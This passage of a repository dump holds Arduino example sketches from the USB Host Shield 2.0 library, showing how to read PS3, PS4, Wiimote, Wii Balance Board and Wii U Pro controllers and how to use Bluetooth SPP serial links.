Up\";\n        if (PS3.PS3Connected) {\n          PS3.setLedOff();\n          PS3.setLedOn(LED4);\n        }\n      }\n      if (PS3.getButtonClick(RIGHT)) {\n        output += \" - Right\";\n        if (PS3.PS3Connected) {\n          PS3.setLedOff();\n          PS3.setLedOn(LED1);\n        }\n      }\n      if (PS3.getButtonClick(DOWN)) {\n        output += \" - Down\";\n        if (PS3.PS3Connected) {\n          PS3.setLedOff();\n          PS3.setLedOn(LED2);\n        }\n      }\n      if (PS3.getButtonClick(LEFT)) {\n        output += \" - Left\";\n        if (PS3.PS3Connected) {\n          PS3.setLedOff();\n          PS3.setLedOn(LED3);\n        }\n      }\n\n      if (PS3.getButtonClick(L1))\n        output += \" - L1\";\n      if (PS3.getButtonClick(L3))\n        output += \" - L3\";\n      if (PS3.getButtonClick(R1))\n        output += \" - R1\";\n      if (PS3.getButtonClick(R3))\n        output += \" - R3\";\n\n      if (PS3.getButtonClick(SELECT)) {\n        output += \" - Select\";\n      }\n      if (PS3.getButtonClick(START))\n        output += \" - Start\";\n\n      if (output != \"\") {\n        String string = \"PS3 Controller\" + output;\n        Serial.println(string);\n        if (SerialBT.connected)\n          SerialBT.println(string);\n      }\n    }\n    delay(10);\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS4BT/PS4BT.ino",
    "content": "/*\n Example sketch for the PS4 Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <PS4BT.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n\n/* You can create the instance of the PS4BT class in two ways */\n// This will start an inquiry and then pair with the PS4 controller - you only have to do this once\n// You will need to hold down the PS and Share button at the same time, the PS4 controller will then start to blink rapidly indicating that it is in pairing mode\nPS4BT PS4(&Btd, PAIR);\n\n// After that you can simply create the instance like so and then press the PS button on the device\n//PS4BT PS4(&Btd);\n\nbool printAngle, printTouch;\nuint8_t oldL2Value, oldR2Value;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); // Halt\n  }\n  Serial.print(F(\"\\r\\nPS4 Bluetooth Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n\n  if (PS4.connected()) {\n    if (PS4.getAnalogHat(LeftHatX) > 137 || PS4.getAnalogHat(LeftHatX) < 117 || PS4.getAnalogHat(LeftHatY) > 137 || PS4.getAnalogHat(LeftHatY) < 117 || PS4.getAnalogHat(RightHatX) > 137 || PS4.getAnalogHat(RightHatX) < 117 || PS4.getAnalogHat(RightHatY) > 137 || PS4.getAnalogHat(RightHatY) < 117) {\n      Serial.print(F(\"\\r\\nLeftHatX: \"));\n      Serial.print(PS4.getAnalogHat(LeftHatX));\n      Serial.print(F(\"\\tLeftHatY: \"));\n      Serial.print(PS4.getAnalogHat(LeftHatY));\n      Serial.print(F(\"\\tRightHatX: \"));\n      Serial.print(PS4.getAnalogHat(RightHatX));\n      Serial.print(F(\"\\tRightHatY: \"));\n      Serial.print(PS4.getAnalogHat(RightHatY));\n    }\n\n    if (PS4.getAnalogButton(L2) || PS4.getAnalogButton(R2)) { // These are the only analog buttons on the PS4 controller\n      Serial.print(F(\"\\r\\nL2: \"));\n      Serial.print(PS4.getAnalogButton(L2));\n      Serial.print(F(\"\\tR2: \"));\n      Serial.print(PS4.getAnalogButton(R2));\n    }\n    if (PS4.getAnalogButton(L2) != oldL2Value || PS4.getAnalogButton(R2) != oldR2Value) // Only write value if it's different\n      PS4.setRumbleOn(PS4.getAnalogButton(L2), PS4.getAnalogButton(R2));\n    oldL2Value = PS4.getAnalogButton(L2);\n    oldR2Value = PS4.getAnalogButton(R2);\n\n    if (PS4.getButtonClick(PS)) {\n      Serial.print(F(\"\\r\\nPS\"));\n      PS4.disconnect();\n    }\n    else {\n      if (PS4.getButtonClick(TRIANGLE)) {\n        Serial.print(F(\"\\r\\nTraingle\"));\n        PS4.setRumbleOn(RumbleLow);\n      }\n      if (PS4.getButtonClick(CIRCLE)) {\n        Serial.print(F(\"\\r\\nCircle\"));\n        PS4.setRumbleOn(RumbleHigh);\n      }\n      if (PS4.getButtonClick(CROSS)) {\n        Serial.print(F(\"\\r\\nCross\"));\n        PS4.setLedFlash(10, 10); // Set it to blink rapidly\n      }\n      if (PS4.getButtonClick(SQUARE)) {\n        Serial.print(F(\"\\r\\nSquare\"));\n        PS4.setLedFlash(0, 0); // Turn off blinking\n      }\n\n      if (PS4.getButtonClick(UP)) {\n        Serial.print(F(\"\\r\\nUp\"));\n        PS4.setLed(Red);\n      } if (PS4.getButtonClick(RIGHT)) {\n        Serial.print(F(\"\\r\\nRight\"));\n        PS4.setLed(Blue);\n      } if (PS4.getButtonClick(DOWN)) {\n        Serial.print(F(\"\\r\\nDown\"));\n        PS4.setLed(Yellow);\n      } if (PS4.getButtonClick(LEFT)) {\n        Serial.print(F(\"\\r\\nLeft\"));\n        PS4.setLed(Green);\n      }\n\n      if (PS4.getButtonClick(L1))\n        Serial.print(F(\"\\r\\nL1\"));\n      if (PS4.getButtonClick(L3))\n        Serial.print(F(\"\\r\\nL3\"));\n      if (PS4.getButtonClick(R1))\n        Serial.print(F(\"\\r\\nR1\"));\n      if (PS4.getButtonClick(R3))\n        Serial.print(F(\"\\r\\nR3\"));\n\n      if (PS4.getButtonClick(SHARE))\n        Serial.print(F(\"\\r\\nShare\"));\n      if (PS4.getButtonClick(OPTIONS)) {\n        Serial.print(F(\"\\r\\nOptions\"));\n        printAngle = !printAngle;\n      }\n      if (PS4.getButtonClick(TOUCHPAD)) {\n        Serial.print(F(\"\\r\\nTouchpad\"));\n        printTouch = !printTouch;\n      }\n\n      if (printAngle) { // Print angle calculated using the accelerometer only\n        Serial.print(F(\"\\r\\nPitch: \"));\n        Serial.print(PS4.getAngle(Pitch));\n        Serial.print(F(\"\\tRoll: \"));\n        Serial.print(PS4.getAngle(Roll));\n      }\n\n      if (printTouch) { // Print the x, y coordinates of the touchpad\n        if (PS4.isTouching(0) || PS4.isTouching(1)) // Print newline and carriage return if any of the fingers are touching the touchpad\n          Serial.print(F(\"\\r\\n\"));\n        for (uint8_t i = 0; i < 2; i++) { // The touchpad track two fingers\n          if (PS4.isTouching(i)) { // Print the position of the finger if it is touching the touchpad\n            Serial.print(F(\"X\")); Serial.print(i + 1); Serial.print(F(\": \"));\n            Serial.print(PS4.getX(i));\n            Serial.print(F(\"\\tY\")); Serial.print(i + 1); Serial.print(F(\": \"));\n            Serial.print(PS4.getY(i));\n            Serial.print(F(\"\\t\"));\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/SPP/SPP.ino",
    "content": "/*\n Example sketch for the RFCOMM/SPP Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <SPP.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n/* You can create the instance of the class in two ways */\nSPP SerialBT(&Btd); // This will set the name to the defaults: \"Arduino\" and the pin to \"0000\"\n//SPP SerialBT(&Btd, \"Lauszus's Arduino\", \"1234\"); // You can also set the name and pin like so\n\nbool firstMessage = true;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nSPP Bluetooth Library Started\"));\n}\nvoid loop() {\n  Usb.Task(); // The SPP data is actually not send until this is called, one could call SerialBT.send() directly as well\n\n  if (SerialBT.connected) {\n    if (firstMessage) {\n      firstMessage = false;\n      SerialBT.println(F(\"Hello from Arduino\")); // Send welcome message\n    }\n    if (Serial.available())\n      SerialBT.write(Serial.read());\n    if (SerialBT.available())\n      Serial.write(SerialBT.read());\n  }\n  else\n    firstMessage = true;\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/SPPMulti/SPPMulti.ino",
    "content": "/*\n Example sketch for the RFCOMM/SPP Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <SPP.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n\nconst uint8_t length = 2; // Set the number of instances here\nSPP *SerialBT[length]; // We will use this pointer to store the instances, you can easily make it larger if you like, but it will use a lot of RAM!\n\nbool firstMessage[length] = { true }; // Set all to true\n\nvoid setup() {\n  for (uint8_t i = 0; i < length; i++)\n    SerialBT[i] = new SPP(&Btd); // This will set the name to the default: \"Arduino\" and the pin to \"0000\" for all connections\n\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); // Halt\n  }\n  Serial.print(F(\"\\r\\nSPP Bluetooth Library Started\"));\n}\n\nvoid loop() {\n  Usb.Task(); // The SPP data is actually not send until this is called, one could call SerialBT.send() directly as well\n\n  for (uint8_t i = 0; i < length; i++) {\n    if (SerialBT[i]->connected) {\n      if (firstMessage[i]) {\n        firstMessage[i] = false;\n        SerialBT[i]->println(F(\"Hello from Arduino\")); // Send welcome message\n      }\n      if (SerialBT[i]->available())\n        Serial.write(SerialBT[i]->read());\n    }\n    else\n      firstMessage[i] = true;\n  }\n\n  // Set the connection you want to send to using the first character\n  // For instance \"0Hello World\" would send \"Hello World\" to connection 0\n  if (Serial.available()) {\n    delay(10); // Wait for the rest of the data to arrive\n    uint8_t id = Serial.read() - '0'; // Convert from ASCII\n    if (id < length && SerialBT[id]->connected) { // Make sure that the id is valid and make sure that a device is actually connected\n      while (Serial.available()) // Check if data is available\n        SerialBT[id]->write(Serial.read()); // Send the data\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/Wii/Wii.ino",
    "content": "/*\n Example sketch for the Wiimote Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <Wii.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n/* You can create the instance of the class in two ways */\nWII Wii(&Btd, PAIR); // This will start an inquiry and then pair with your Wiimote - you only have to do this once\n//WII Wii(&Btd); // After that you can simply create the instance like so and then press any button on the Wiimote\n\nbool printAngle;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nWiimote Bluetooth Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n  if (Wii.wiimoteConnected) {\n    if (Wii.getButtonClick(HOME)) { // You can use getButtonPress to see if the button is held down\n      Serial.print(F(\"\\r\\nHOME\"));\n      Wii.disconnect();\n    }\n    else {\n      if (Wii.getButtonClick(LEFT)) {\n        Wii.setLedOff();\n        Wii.setLedOn(LED1);\n        Serial.print(F(\"\\r\\nLeft\"));\n      }\n      if (Wii.getButtonClick(RIGHT)) {\n        Wii.setLedOff();\n        Wii.setLedOn(LED3);\n        Serial.print(F(\"\\r\\nRight\"));\n      }\n      if (Wii.getButtonClick(DOWN)) {\n        Wii.setLedOff();\n        Wii.setLedOn(LED4);\n        Serial.print(F(\"\\r\\nDown\"));\n      }\n      if (Wii.getButtonClick(UP)) {\n        Wii.setLedOff();\n        Wii.setLedOn(LED2);\n        Serial.print(F(\"\\r\\nUp\"));\n      }\n\n      if (Wii.getButtonClick(PLUS))\n        Serial.print(F(\"\\r\\nPlus\"));\n      if (Wii.getButtonClick(MINUS))\n        Serial.print(F(\"\\r\\nMinus\"));\n\n      if (Wii.getButtonClick(ONE))\n        Serial.print(F(\"\\r\\nOne\"));\n      if (Wii.getButtonClick(TWO))\n        Serial.print(F(\"\\r\\nTwo\"));\n\n      if (Wii.getButtonClick(A)) {\n        printAngle = !printAngle;\n        Serial.print(F(\"\\r\\nA\"));\n      }\n      if (Wii.getButtonClick(B)) {\n        Wii.setRumbleToggle();\n        Serial.print(F(\"\\r\\nB\"));\n      }\n    }\n#if 0 // Set this to 1 in order to see the angle of the controllers\n    if (printAngle) {\n      Serial.print(F(\"\\r\\nPitch: \"));\n      Serial.print(Wii.getPitch());\n      Serial.print(F(\"\\tRoll: \"));\n      Serial.print(Wii.getRoll());\n      if (Wii.motionPlusConnected) {\n        Serial.print(F(\"\\tYaw: \"));\n        Serial.print(Wii.getYaw());\n      }\n      if (Wii.nunchuckConnected) {\n        Serial.print(F(\"\\tNunchuck Pitch: \"));\n        Serial.print(Wii.getNunchuckPitch());\n        Serial.print(F(\"\\tNunchuck Roll: \"));\n        Serial.print(Wii.getNunchuckRoll());\n      }\n    }\n#endif\n  }\n#if 0 // Set this to 1 if you are using a Nunchuck controller\n  if (Wii.nunchuckConnected) {\n    if (Wii.getButtonClick(Z))\n      Serial.print(F(\"\\r\\nZ\"));\n    if (Wii.getButtonClick(C))\n      Serial.print(F(\"\\r\\nC\"));\n    if (Wii.getAnalogHat(HatX) > 137 ||  Wii.getAnalogHat(HatX) < 117 || Wii.getAnalogHat(HatY) > 137 || Wii.getAnalogHat(HatY) < 117) {\n      Serial.print(F(\"\\r\\nHatX: \"));\n      Serial.print(Wii.getAnalogHat(HatX));\n      Serial.print(F(\"\\tHatY: \"));\n      Serial.print(Wii.getAnalogHat(HatY));\n    }\n  }\n#endif\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiBalanceBoard/WiiBalanceBoard.ino",
    "content": "/*\n Example sketch for the Wii Balance Board Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <Wii.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n/* You can create the instance of the class in two ways */\nWII Wii(&Btd, PAIR); // This will start an inquiry and then pair with your Wii Balance Board - you only have to do this once\n//WII Wii(&Btd); // After that you can simply create the instance like so and then press the power button on the Wii Balance Board\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nWii Balance Board Bluetooth Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n  if (Wii.wiiBalanceBoardConnected) {\n    Serial.print(F(\"\\r\\nWeight: \"));\n    for (uint8_t i = 0; i < 4; i++) {\n      Serial.print(Wii.getWeight((BalanceBoardEnum)i));\n      Serial.print(F(\"\\t\"));\n    }\n    Serial.print(F(\"Total Weight: \"));\n    Serial.print(Wii.getTotalWeight());\n    if (Wii.getButtonClick(A)) {\n      Serial.print(F(\"\\r\\nA\"));\n      //Wii.setLedToggle(LED1); // The Wii Balance Board has one LED as well\n      Wii.disconnect();\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiIRCamera/WiiIRCamera.ino",
    "content": "/*\nExample sketch for the Wii libary showing the IR camera functionality. This example\nis for the Bluetooth Wii library developed for the USB shield from Circuits@Home\n\nCreated by Allan Glover and Kristian Lauszus.\nContact Kristian:  http://blog.tkjelectronics.dk/ or send an email at kristianl@tkjelectronics.com.\nContact Allan at adglover9.81@gmail.com\n\nTo test the Wiimote IR camera, you will need access to an IR source. Sunlight will work but is not ideal.\nThe simpleist solution is to use the Wii sensor bar, i.e. emitter bar, supplied by the Wii system.\nOtherwise, wire up a IR LED yourself.\n*/\n\n#include <Wii.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\n#ifndef WIICAMERA // Used to check if WIICAMERA is defined\n#error \"Please set ENABLE_WII_IR_CAMERA to 1 in settings.h\"\n#endif\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n/* You can create the instance of the class in two ways */\nWII Wii(&Btd, PAIR); // This will start an inquiry and then pair with your Wiimote - you only have to do this once\n//WII Wii(&Btd); // After the Wiimote pairs once with the line of code above, you can simply create the instance like so and re upload and then press any button on the Wiimote\n\nbool printAngle;\nuint8_t printObjects;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nWiimote Bluetooth Library Started\"));\n}\n\nvoid loop() {\n  Usb.Task();\n  if (Wii.wiimoteConnected) {\n    if (Wii.getButtonClick(HOME)) { // You can use getButtonPress to see if the button is held down\n      Serial.print(F(\"\\r\\nHOME\"));\n      Wii.disconnect();\n    }\n    else {\n      if (Wii.getButtonClick(ONE))\n        Wii.IRinitialize(); // Run the initialisation sequence\n      if (Wii.getButtonClick(MINUS) || Wii.getButtonClick(PLUS)) {\n        if (!Wii.isIRCameraEnabled())\n          Serial.print(F(\"\\r\\nEnable IR camera first\"));\n        else {\n          if (Wii.getButtonPress(MINUS)) { // getButtonClick will only return true once\n            if (printObjects > 0)\n              printObjects--;\n          }\n          else {\n            if (printObjects < 4)\n              printObjects++;\n          }\n          Serial.print(F(\"\\r\\nTracking \"));\n          Serial.print(printObjects);\n          Serial.print(F(\" objects\"));\n        }\n      }\n      if (Wii.getButtonClick(A)) {\n        printAngle = !printAngle;\n        Serial.print(F(\"\\r\\nA\"));\n      }\n      if (Wii.getButtonClick(B)) {\n        Serial.print(F(\"\\r\\nBattery level: \"));\n        Serial.print(Wii.getBatteryLevel()); // You can get the battery level as well\n      }\n    }\n    if (printObjects > 0) {\n      if (Wii.getIRx1() != 0x3FF || Wii.getIRy1() != 0x3FF || Wii.getIRs1() != 0) { // Only print if the IR camera is actually seeing something\n        Serial.print(F(\"\\r\\nx1: \"));\n        Serial.print(Wii.getIRx1());\n        Serial.print(F(\"\\ty1: \"));\n        Serial.print(Wii.getIRy1());\n        Serial.print(F(\"\\ts1:\"));\n        Serial.print(Wii.getIRs1());\n      }\n      if (printObjects > 1) {\n        if (Wii.getIRx2() != 0x3FF || Wii.getIRy2() != 0x3FF || Wii.getIRs2() != 0) {\n          Serial.print(F(\"\\r\\nx2: \"));\n          Serial.print(Wii.getIRx2());\n          Serial.print(F(\"\\ty2: \"));\n          Serial.print(Wii.getIRy2());\n          Serial.print(F(\"\\ts2:\"));\n          Serial.print(Wii.getIRs2());\n        }\n        if (printObjects > 2) {\n          if (Wii.getIRx3() != 0x3FF || Wii.getIRy3() != 0x3FF || Wii.getIRs3() != 0) {\n            Serial.print(F(\"\\r\\nx3: \"));\n            Serial.print(Wii.getIRx3());\n            Serial.print(F(\"\\ty3: \"));\n            Serial.print(Wii.getIRy3());\n            Serial.print(F(\"\\ts3:\"));\n            Serial.print(Wii.getIRs3());\n          }\n          if (printObjects > 3) {\n            if (Wii.getIRx4() != 0x3FF || Wii.getIRy4() != 0x3FF || Wii.getIRs4() != 0) {\n              Serial.print(F(\"\\r\\nx4: \"));\n              Serial.print(Wii.getIRx4());\n              Serial.print(F(\"\\ty4: \"));\n              Serial.print(Wii.getIRy4());\n              Serial.print(F(\"\\ts4:\"));\n              Serial.print(Wii.getIRs4());\n            }\n          }\n        }\n      }\n    }\n    if (printAngle) { // There is no extension bytes available, so the MotionPlus or Nunchuck can't be read\n      Serial.print(F(\"\\r\\nPitch: \"));\n      Serial.print(Wii.getPitch());\n      Serial.print(F(\"\\tRoll: \"));\n      Serial.print(Wii.getRoll());\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiMulti/WiiMulti.ino",
    "content": "/*\n Example sketch for the Wiimote Bluetooth library - developed by Kristian Lauszus\n This example show how one can use multiple controllers with the library\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <Wii.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\nWII *Wii[2]; // We will use this pointer to store the two instance, you can easily make it larger if you like, but it will use a lot of RAM!\nconst uint8_t length = sizeof(Wii) / sizeof(Wii[0]); // Get the lenght of the array\nbool printAngle[length];\nbool oldControllerState[length];\n\nvoid setup() {\n  for (uint8_t i = 0; i < length; i++) {\n    Wii[i] = new WII(&Btd); // You will have to pair each controller with the dongle before you can define the instances like so, just add PAIR as the second argument\n    Wii[i]->attachOnInit(onInit); // onInit() is called upon a new connection - you can call the function whatever you like\n  }\n\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nWiimote Bluetooth Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n\n  for (uint8_t i = 0; i < length; i++) {\n    if (Wii[i]->wiimoteConnected) {\n      if (Wii[i]->getButtonClick(HOME)) { // You can use getButtonPress to see if the button is held down\n        Serial.print(F(\"\\r\\nHOME\"));\n        Wii[i]->disconnect();\n        oldControllerState[i] = false; // Reset value\n      }\n      else {\n        if (Wii[i]->getButtonClick(LEFT)) {\n          Wii[i]->setLedOff();\n          Wii[i]->setLedOn(LED1);\n          Serial.print(F(\"\\r\\nLeft\"));\n        }\n        if (Wii[i]->getButtonClick(RIGHT)) {\n          Wii[i]->setLedOff();\n          Wii[i]->setLedOn(LED3);\n          Serial.print(F(\"\\r\\nRight\"));\n        }\n        if (Wii[i]->getButtonClick(DOWN)) {\n          Wii[i]->setLedOff();\n          Wii[i]->setLedOn(LED4);\n          Serial.print(F(\"\\r\\nDown\"));\n        }\n        if (Wii[i]->getButtonClick(UP)) {\n          Wii[i]->setLedOff();\n          Wii[i]->setLedOn(LED2);\n          Serial.print(F(\"\\r\\nUp\"));\n        }\n\n        if (Wii[i]->getButtonClick(PLUS))\n          Serial.print(F(\"\\r\\nPlus\"));\n        if (Wii[i]->getButtonClick(MINUS))\n          Serial.print(F(\"\\r\\nMinus\"));\n\n        if (Wii[i]->getButtonClick(ONE))\n          Serial.print(F(\"\\r\\nOne\"));\n        if (Wii[i]->getButtonClick(TWO))\n          Serial.print(F(\"\\r\\nTwo\"));\n\n        if (Wii[i]->getButtonClick(A)) {\n          printAngle[i] = !printAngle[i];\n          Serial.print(F(\"\\r\\nA\"));\n        }\n        if (Wii[i]->getButtonClick(B)) {\n          Wii[i]->setRumbleToggle();\n          Serial.print(F(\"\\r\\nB\"));\n        }\n      }\n      if (printAngle[i]) {\n        Serial.print(F(\"\\r\\nPitch: \"));\n        Serial.print(Wii[i]->getPitch());\n        Serial.print(F(\"\\tRoll: \"));\n        Serial.print(Wii[i]->getRoll());\n        if (Wii[i]->motionPlusConnected) {\n          Serial.print(F(\"\\tYaw: \"));\n          Serial.print(Wii[i]->getYaw());\n        }\n        if (Wii[i]->nunchuckConnected) {\n          Serial.print(F(\"\\tNunchuck Pitch: \"));\n          Serial.print(Wii[i]->getNunchuckPitch());\n          Serial.print(F(\"\\tNunchuck Roll: \"));\n          Serial.print(Wii[i]->getNunchuckRoll());\n        }\n      }\n    }\n    if (Wii[i]->nunchuckConnected) {\n      if (Wii[i]->getButtonClick(Z))\n        Serial.print(F(\"\\r\\nZ\"));\n      if (Wii[i]->getButtonClick(C))\n        Serial.print(F(\"\\r\\nC\"));\n      if (Wii[i]->getAnalogHat(HatX) > 137 ||  Wii[i]->getAnalogHat(HatX) < 117 || Wii[i]->getAnalogHat(HatY) > 137 || Wii[i]->getAnalogHat(HatY) < 117) {\n        Serial.print(F(\"\\r\\nHatX: \"));\n        Serial.print(Wii[i]->getAnalogHat(HatX));\n        Serial.print(F(\"\\tHatY: \"));\n        Serial.print(Wii[i]->getAnalogHat(HatY));\n      }\n    }\n  }\n}\n\nvoid onInit() {\n  for (uint8_t i = 0; i < length; i++) {\n    if (Wii[i]->wiimoteConnected && !oldControllerState[i]) {\n      oldControllerState[i] = true; // Used to check which is the new controller\n      Wii[i]->setLedOn((LEDEnum)(i + 1)); // Cast directly to LEDEnum - see: \"controllerEnums.h\"\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiUProController/WiiUProController.ino",
    "content": "/*\n Example sketch for the Wiimote Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <Wii.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n/* You can create the instance of the class in two ways */\nWII Wii(&Btd, PAIR); // This will start an inquiry and then pair with your Wiimote - you only have to do this once\n//WII Wii(&Btd); // After that you can simply create the instance like so and then press any button on the Wiimote\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nWiimote Bluetooth Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n  if (Wii.wiiUProControllerConnected) {\n    if (Wii.getButtonClick(HOME)) { // You can use getButtonPress to see if the button is held down\n      Serial.print(F(\"\\r\\nHome\"));\n      Wii.disconnect();\n    }\n    else {\n      if (Wii.getButtonClick(LEFT)) {\n        Wii.setLedOff();\n        Wii.setLedOn(LED1);\n        Serial.print(F(\"\\r\\nLeft\"));\n      }\n      if (Wii.getButtonClick(RIGHT)) {\n        Wii.setLedOff();\n        Wii.setLedOn(LED3);\n        Serial.print(F(\"\\r\\nRight\"));\n      }\n      if (Wii.getButtonClick(DOWN)) {\n        Wii.setLedOff();\n        Wii.setLedOn(LED4);\n        Serial.print(F(\"\\r\\nDown\"));\n      }\n      if (Wii.getButtonClick(UP)) {\n        Wii.setLedOff();\n        Wii.setLedOn(LED2);\n        Serial.print(F(\"\\r\\nUp\"));\n      }\n\n      if (Wii.getButtonClick(PLUS))\n        Serial.print(F(\"\\r\\nPlus\"));\n      if (Wii.getButtonClick(MINUS))\n        Serial.print(F(\"\\r\\nMinus\"));\n\n      if (Wii.getButtonClick(A))\n        Serial.print(F(\"\\r\\nA\"));\n      if (Wii.getButtonClick(B)) {\n        Wii.setRumbleToggle();\n        Serial.print(F(\"\\r\\nB\"));\n      }\n      if (Wii.getButtonClick(X))\n        Serial.print(F(\"\\r\\nX\"));\n      if (Wii.getButtonClick(Y))\n        Serial.print(F(\"\\r\\nY\"));\n\n      if (Wii.getButtonClick(L))\n        Serial.print(F(\"\\r\\nL\"));\n      if 